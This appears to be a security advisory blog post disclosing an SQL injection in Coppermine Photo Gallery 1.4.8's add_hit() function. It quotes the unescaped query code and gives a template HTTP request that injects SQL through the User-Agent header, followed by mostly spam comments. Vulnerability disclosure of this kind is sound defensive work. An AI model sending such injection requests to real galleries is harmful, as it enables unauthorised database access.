Search

imei Addmimistrator’s BugBlog

imei’s security Advisories and researches

——-Summary——-
Software: CPG Coppermine Photo Gallery
Software’s Web Site: http://coppermine.sourceforge.net/
Versions: 1.4.8.stable
Class: Remote
Status: Unpatched
Exploit: Available
Discovered by: imei addmimistrator
Risk Level: Mediume-High
——-Description——-
There is a security flaw in Coppermine Photo Gallery, one of popular photo galleries in internet, that allows attacker perform an SQL INJECTION attack .Cause of trust to user’s suplied data { user agent and refferer url}, that can have qoutations, malicious people can execute sql commands in process of viewing a picture or probabley other process that gallery provides.
——-See Also——-
include/function.inc.php
function add_hit;
$query = “INSERT INTO {$CONFIG['TABLE_HIT_STATS']}
SET
pid = $pid,
search_phrase = ‘$query_term’,
Ip = ‘$_SERVER[REMOTE_ADDR]‘,
sdate = ‘$time’,
referer=’$_SERVER[HTTP_REFERER]‘,
browser = ‘$browser‘,
os = ‘$os’”;
cpg_db_query($query);
both of marked lines can exploit.
——-Conditions——-
$CONFIG['hit_details'] should be true. {meet settings of gallery in admin area}
——-Exploit——-
GET /cpg/displayimage.php?album=random&cat=0&pos=-{Not Viewd Image ID} HTTP/1.1
Host: O_O
User-Agent: ’sql commands
Keep-Alive: 300
Cookie: valid login
——-Credit——–
Discovered by: imei addmimistrator
addmimistrator(4}gmail(O}com
imei(4}Kapda(O}IR
www.myimei.com
myimei.com/security

12 Responses to “CopperminePhotoGallery1.4.8~ addhit() function~ SQLinjection attack”

    ostad in advisory ha ro ghablesh hatman begoo 3soot bezarim too kapda . man manzooret ro oonja naafahmidam . bye

    roger sir. but i did it:D you didnt notice :p. np btw

    http://secunia.com/advisories/20597/

    More or less nothing seems worth doing, but oh well.
    I just don’t have anything to say now.

    Hi,
    Very very nice site!
    And please visit my forum :)

    I feel like a complete blank.
    That’s how it is.
    I can’t be bothered with anything recently.

    Hello!
    Excellent site, but most of messages here are not related to its contents…

    More or less nothing seems worth doing, but oh well.
    I just don’t have anything to say now.

    This webpage loads very fast
    What hosting provider do you use?

    Greetings!
    Undoubtedly, you will reach big success with your site.

Something to say?

You must be logged in to post a comment.